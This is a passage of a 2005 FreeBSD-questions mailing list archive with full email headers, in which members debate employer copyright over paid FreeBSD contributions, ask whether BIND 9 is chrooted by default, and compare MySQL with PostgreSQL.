[193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id C71BC43D1F for ; Fri, 11 Feb 2005 22:16:18 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id 0B4CE1C0008E for ; Fri, 11 Feb 2005 23:16:18 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id DD9E51C00087 for ; Fri, 11 Feb 2005 23:16:17 +0100 (CET) X-ME-UUID: 20050211221617907.DD9E51C00087@mwinf1108.wanadoo.fr Date: Fri, 11 Feb 2005 23:16:17 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1065300005.20050211231617@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <805E7F3C-7C77-11D9-B134-000D933E3CEC@shire.net> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420D24EE.40606@tvog.net> <805E7F3C-7C77-11D9-B134-000D933E3CEC@shire.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:16:19 -0000 Chad Leigh -- Shire.Net LLC writes: > many in no way means a majority. many is more than a few, where a few > is a handful (3-5 or so). There are probably more than a handful who > do it as more than a hobby. A lot of good people do it on their own > time as well, and I salute that. But a lot of people like Yahoo and > others (Apple probably) submit stuff that ends up in FreeBSD and they > pay their people to do so. Lots of features, like jails as I > understand it, started off by someone getting paid to implement stuff. I hope people are not being as careless as you imply. Being paid to write code as an employee means relinguishing copyright in the code to one's employer. If people are actually doing this for FreeBSD, then some of the code in FreeBSD is owned by their employers, which can become a legal nightmare and stop the project dead in its tracks overnight. Aren't there any _lawyers_ working on this project? -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:18:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 60D3A16A4CE for ; Fri, 11 Feb 2005 22:18:30 +0000 (GMT) Received: from sccrmhc13.comcast.net (sccrmhc13.comcast.net [204.127.202.64]) by mx1.FreeBSD.org (Postfix) with ESMTP id EB77D43D2D for ; Fri, 11 Feb 2005 22:18:29 +0000 (GMT) (envelope-from rsh.lists@comcast.net) Received: from [192.168.1.11] (tardiss.ne.client2.attbi.com[66.30.82.93]) by comcast.net (sccrmhc13) with ESMTP id <2005021122182901600ii8sue>; Fri, 11 Feb 2005 22:18:29 +0000 Message-ID: <420D2F12.8020808@comcast.net> Date: Fri, 11 Feb 2005 17:17:54 -0500 From: Sean User-Agent: Mozilla Thunderbird 1.0 (X11/20050201) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jan Branbergen References: <20050211115902.5BCC643D3F@mx1.FreeBSD.org> In-Reply-To: <20050211115902.5BCC643D3F@mx1.FreeBSD.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: SQL Questions (MySQL or PostgreSQL?) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: rsh.lists@comcast.net List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:18:30 -0000 Jan Branbergen wrote: >>I would like to install SQL here for my own use, not for any real life >> >>currently, round now for learning. >> >>Right now plan to install MySQL. >>Looking through the ports there is numerous version and some say for >> >>server, some say for client. >> >>Looking for some tips as to what version of SQL and tools to >>install? >>Also wondering if anyone can point me towards documentation in my >>learning efforts? > > > i would like to suggest PostgreSQL if your objective is learning SQL. MySQL only provides a subset. > > it is by no means more complicated to install or to get started. > > regards, > > Jan > What is the difference between PostgreSQL and MySQL? From what I see MySQL seems to be more common. Sean From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:20:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8182416A4CE for ; Fri, 11 Feb 2005 22:20:57 +0000 (GMT) Received: from ritamari.vonostingroup.com (ip193-230.digitalrealm.net [216.144.193.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id CC01A43D1F for ; Fri, 11 Feb 2005 22:20:56 +0000 (GMT) (envelope-from laszlof@tvog.net) Received: from adsl-68-72-248-38.dsl.sfldmi.ameritech.net ([68.72.248.38] helo=tvog.net) by ritamari.vonostingroup.com with esmtpa (Exim 4.44 (FreeBSD)) id 1Czj9P-000HOP-Ju; Fri, 11 Feb 2005 17:20:35 -0500 Message-ID: <420D2FC7.5060503@tvog.net> Date: Fri, 11 Feb 2005 17:20:55 -0500 From: Frank Laszlo User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org, atkielski.anthony@wanadoo.fr References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420D24EE.40606@tvog.net> <566767782.20050211231303@wanadoo.fr> In-Reply-To: <566767782.20050211231303@wanadoo.fr> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ritamari.vonostingroup.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - tvog.net X-Source: X-Source-Args: X-Source-Dir: Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:20:57 -0000 Anthony Atkielski wrote: >Frank Laszlo writes: > > > >>I wouldnt say many, there are few commiters who are actually paid to >>work on it, most commiters/developers do it as a hobby. >> >> > >What written agreements do these committers have with their employers? > >Normally, if you are paid to write something by your employer, your >employer owns the copyright in what you write. So unless these >committers have specific agreements with their employers to the >contrary, they are adding code to FreeBSD that is encumbered by >copyrights owned by their employer, and can no longer be freely >distributed. > > I was refering to commiters paid BY FreeBSD to provide code. __________________________________________________ Frank Laszlo System Administrator The VonOstin Group Email: laszlof@tvog.net WWW: http://www.vonostingroup.com Mobile: 248-863-7584 From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:21:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5132316A4CE for ; Fri, 11 Feb 2005 22:21:31 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id F333643D3F for ; Fri, 11 Feb 2005 22:21:30 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CzjAG-000EU9-E4 for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 15:21:28 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <389541039.20050211231100@wanadoo.fr> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <389541039.20050211231100@wanadoo.fr> Message-Id: <45B84E47-7C7B-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 15:21:27 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50,PLING_PLING autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:21:31 -0000 On Feb 11, 2005, at 3:11 PM, Anthony Atkielski wrote: > Chad Leigh -- Shire.Net LLC writes: > >> Many of the people that work >> on it are paid to work on it by their employers, who are using it >> commercially. > > That would mean that their employers hold a copyright in the FreeBSD > code written by their employees; this is a classic implicit > work-for-hire arrangement. Have these people signed an agreement with > their employers that waives the work-for-hire copyright interest? Look in the codebase Chad From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:23:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 323DC16A4CE for ; Fri, 11 Feb 2005 22:23:04 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 02DB743D2D for ; Fri, 11 Feb 2005 22:23:04 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CzjBn-000Egl-Lu for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 15:23:03 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <566767782.20050211231303@wanadoo.fr> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420D24EE.40606@tvog.net> <566767782.20050211231303@wanadoo.fr> Message-Id: <7E82FCE7-7C7B-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 15:23:02 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50,PLING_PLING autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:23:04 -0000 On Feb 11, 2005, at 3:13 PM, Anthony Atkielski wrote: > Frank Laszlo writes: > >> I wouldnt say many, there are few commiters who are actually paid to >> work on it, most commiters/developers do it as a hobby. > > What written agreements do these committers have with their employers? > > Normally, if you are paid to write something by your employer, your > employer owns the copyright in what you write. So unless these > committers have specific agreements with their employers to the > contrary, they are adding code to FreeBSD that is encumbered by > copyrights owned by their employer, and can no longer be freely > distributed. NO. Their employers are paying them TO WORK on FreeBSD. They are not taking their code that they write for their employers and also sticking it in FreeBSD. Big difference. In the first case, they are allowing it to happen and assign the copyrights as necessary. Chad From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:23:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2D5D216A4CE for ; Fri, 11 Feb 2005 22:23:56 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id BCDCA43D45 for ; Fri, 11 Feb 2005 22:23:55 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CzjCd-000Egl-DA for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 15:23:55 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <1065300005.20050211231617@wanadoo.fr> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420D24EE.40606@tvog.net> <805E7F3C-7C77-11D9-B134-000D933E3CEC@shire.net> <1065300005.20050211231617@wanadoo.fr> Message-Id: <9DBF40B4-7C7B-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 15:23:55 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50,PLING_PLING autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:23:56 -0000 On Feb 11, 2005, at 3:16 PM, Anthony Atkielski wrote: > Chad Leigh -- Shire.Net LLC writes: > >> many in no way means a majority. many is more than a few, where a few >> is a handful (3-5 or so). There are probably more than a handful who >> do it as more than a hobby. A lot of good people do it on their own >> time as well, and I salute that. But a lot of people like Yahoo and >> others (Apple probably) submit stuff that ends up in FreeBSD and they >> pay their people to do so. Lots of features, like jails as I >> understand it, started off by someone getting paid to implement stuff. > > I hope people are not being as careless as you imply. Being paid to > write code as an employee means relinguishing copyright in the code to > one's employer. If people are actually doing this for FreeBSD, then > some of the code in FreeBSD is owned by their employers, which can > become a legal nightmare and stop the project dead in its tracks > overnight. Aren't there any _lawyers_ working on this project? > Sorry, but the employers are freely offering the code and assigning copyrights as necessary. Chad From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:26:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AC66B16A4CE for ; Fri, 11 Feb 2005 22:26:04 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7616B43D1F for ; Fri, 11 Feb 2005 22:26:04 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CzjEe-000ElS-Tf for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 15:26:04 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <1065300005.20050211231617@wanadoo.fr> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420D24EE.40606@tvog.net> <805E7F3C-7C77-11D9-B134-000D933E3CEC@shire.net> <1065300005.20050211231617@wanadoo.fr> Message-Id: From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 15:26:00 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50,PLING_PLING autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:26:04 -0000 On Feb 11, 2005, at 3:16 PM, Anthony Atkielski wrote: > Chad Leigh -- Shire.Net LLC writes: > >> many in no way means a majority. many is more than a few, where a few >> is a handful (3-5 or so). There are probably more than a handful who >> do it as more than a hobby. A lot of good people do it on their own >> time as well, and I salute that. But a lot of people like Yahoo and >> others (Apple probably) submit stuff that ends up in FreeBSD and they >> pay their people to do so. Lots of features, like jails as I >> understand it, started off by someone getting paid to implement stuff. > > I hope people are not being as careless as you imply. Being paid to > write code as an employee means relinguishing copyright in the code to > one's employer. If people are actually doing this for FreeBSD, then > some of the code in FreeBSD is owned by their employers, which can > become a legal nightmare and stop the project dead in its tracks > overnight. Aren't there any _lawyers_ working on this project? > As an example from "man jail" " AUTHORS The jail feature was written by Poul-Henning Kamp for R&D Associates http://www.rndassociates.com/ who contributed it to FreeBSD. " I would assume, but I do not know, that Poul-Henning Kamp was paid for his work. Then R&D Associates contributed it to FreeBSD. I think I have read here that Yahoo has also rolled stuff back into the main line source (I do not have first hand knowledge of this). Apple also rolls stuff back into the BSD source trees. They do so knowingly and with appropriate legalese Chad From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:29:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 08F4616A4CE for ; Fri, 11 Feb 2005 22:29:22 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id B2B6643D2D for ; Fri, 11 Feb 2005 22:29:21 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id 1E2B81C00097 for ; Fri, 11 Feb 2005 23:29:21 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id 02F031C00081 for ; Fri, 11 Feb 2005 23:29:20 +0100 (CET) X-ME-UUID: 20050211222921121.02F031C00081@mwinf1102.wanadoo.fr Date: Fri, 11 Feb 2005 23:29:13 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <661592417.20050211232913@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420D2FC7.5060503@tvog.net> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420D24EE.40606@tvog.net> <566767782.20050211231303@wanadoo.fr> <420D2FC7.5060503@tvog.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:29:22 -0000 Frank Laszlo writes: > I was refering to commiters paid BY FreeBSD to provide code. Ah ... I am reassured! You should always make that crystal-clear whenever you mention this in discussions with anybody. Any rumor started to the contrary could kill off interest in the OS in anyone considering it for anything other than home use (and sometimes even that, thanks to the MPAA and RIAA). -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:29:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 12C8416A4E5 for ; Fri, 11 Feb 2005 22:29:28 +0000 (GMT) Received: from smtpauth01.mail.atl.earthlink.net (smtpauth01.mail.atl.earthlink.net [209.86.89.61]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9F08E43D1F for ; Fri, 11 Feb 2005 22:29:27 +0000 (GMT) (envelope-from algould@datawok.com) Received: from [206.255.31.21] (helo=[192.168.63.10]) by smtpauth01.mail.atl.earthlink.net with asmtp (TLSv1:RC4-MD5:128) (Exim 4.34) id 1CzjHz-00071A-3v; Fri, 11 Feb 2005 17:29:27 -0500 From: "Andrew L. Gould" To: freebsd-questions@freebsd.org Date: Fri, 11 Feb 2005 16:29:56 -0600 User-Agent: KMail/1.6.2 References: <389541039.20050211231100@wanadoo.fr> In-Reply-To: <389541039.20050211231100@wanadoo.fr> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200502111629.56680.algould@datawok.com> X-ELNK-Trace: ee791d459e3d6817d780f4a490ca69563f9fea00a6dd62bcd850eff20c8585abebf7a98e6a8a11ec350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 206.255.31.21 cc: Anthony Atkielski Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:29:28 -0000 On Friday 11 February 2005 04:11 pm, Anthony Atkielski wrote: > Chad Leigh -- Shire.Net LLC writes: > > Many of the people that work > > on it are paid to work on it by their employers, who are using it > > commercially. > > That would mean that their employers hold a copyright in the FreeBSD > code written by their employees; this is a classic implicit > work-for-hire arrangement. Have these people signed an agreement with > their employers that waives the work-for-hire copyright interest? That's an assumption. We could as easily assume that the employers: 1. contribute the employees' work back to the project under a free license as to benefit from improvements that might be made by the FreeBSD Project; and 2. keep secret stuff out of the FreeBSD Project so that it stays secret; and 3. make policies regarding points #1 and #2 very clear to the developer at the beginning of the employment relationship. We can assume this or that until my keyboard runs out of monitor ink; but there's been enough cynicism for one week. Happy Friday, Andrew Gould From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:29:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4DFD716A4CE for ; Fri, 11 Feb 2005 22:29:37 +0000 (GMT) Received: from phenix.rootshell.be (phenix.rootshell.be [217.22.55.50]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0C91B43D31 for ; Fri, 11 Feb 2005 22:29:37 +0000 (GMT) (envelope-from kilim@phenix.rootshell.be) Received: by phenix.rootshell.be (Postfix, from userid 58045) id 824751798C; Fri, 11 Feb 2005 23:29:31 +0100 (CET) Date: Fri, 11 Feb 2005 23:29:31 +0100 From: kilim To: freebsd-questions@freebsd.org Message-ID: <20050211222931.GA14659@phenix.rootshell.be> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i Subject: DNS' bind 9 chrooted by default ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:29:37 -0000 Hello, regarding Bind 9, here: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-bind9.html its stated that the configuration file resides in /var/named/etc/namedb/ and that bind will be chrooted automatically. Yet here: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-dns.html steps are shown for manual chrooting of bind (not version 9) So I just want to confirm it with you guys, is bind 9.3 really chrooted by default on 5.3 ? I mean, don't have to do any of the steps as stated in the second link, for chrooting ? Thank you From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:30:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DD07B16A4D1 for ; Fri, 11 Feb 2005 22:30:26 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7E5B243D1F for ; Fri, 11 Feb 2005 22:30:13 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id E298E1C0008F for ; Fri, 11 Feb 2005 23:30:12 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id C8E161C00083 for ; Fri, 11 Feb 2005 23:30:12 +0100 (CET) X-ME-UUID: 20050211223012822.C8E161C00083@mwinf1102.wanadoo.fr Date: Fri, 11 Feb 2005 23:30:12 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <494362973.20050211233012@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <45B84E47-7C7B-11D9-B134-000D933E3CEC@shire.net> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <389541039.20050211231100@wanadoo.fr> <45B84E47-7C7B-11D9-B134-000D933E3CEC@shire.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:30:27 -0000 Chad Leigh -- Shire.Net LLC writes: > Look in the codebase No, tell me right here. CIOs aren't going to look in the codebase to try to find out if it's legal for them to use the operating system. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:30:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 17D7816A4D0 for ; Fri, 11 Feb 2005 22:30:26 +0000 (GMT) Received: from lorna.circlesquared.com (host217-45-219-85.in-addr.btopenworld.com [217.45.219.85]) by mx1.FreeBSD.org (Postfix) with ESMTP id 39AB743D4C for ; Fri, 11 Feb 2005 22:30:17 +0000 (GMT) (envelope-from peter@circlesquared.com) Received: from localhost.circlesquared.com (localhost.circlesquared.com [127.0.0.1])j1BMUBer074302; Fri, 11 Feb 2005 22:30:13 GMT (envelope-from peter@circlesquared.com) From: Peter Risdon To: rsh.lists@comcast.net In-Reply-To: <420D2F12.8020808@comcast.net> References: <20050211115902.5BCC643D3F@mx1.FreeBSD.org> <420D2F12.8020808@comcast.net> Content-Type: text/plain Date: Fri, 11 Feb 2005 22:30:11 +0000 Message-Id: <1108161011.23699.98.camel@lorna.circlesquared.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit cc: Jan Branbergen cc: "freebsd-questions@freebsd.org" Subject: Re: SQL Questions (MySQL or PostgreSQL?) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:30:27 -0000 On Fri, 2005-02-11 at 17:17 -0500, Sean wrote: > > What is the difference between PostgreSQL and MySQL? > From what I see MySQL seems to be more common. They are completely separate projects. Postgresql grew out of an academic project (ingres), mysql was developed by a commercial organisation because of limitations and license issues with another sql database system (MiniSQL) that isn't in much use now. Mysql was developed for speed rather than features. And it is fast. It's catching up on the feature front but Postgresql is a more complete implementation of sql and is usually considered to be an upgrade from mysql. For example, the excellent web-based accountancy system SQL-Ledger uses postgresql at least in part because of its earlier implementation of transactions - vital for an accounts package. However, mysql is at the heart of all the LAMP (Linux, Apache, Mysql, PHP) and WAMP (Windows, etc) projects that are around nowadays. Mysql is a very good place to start. Less of a learning curve than Postgresql (IMHO), better documentation (online at least) and more widely used. Postgresql is an excellent dbms and well worth a look. But if 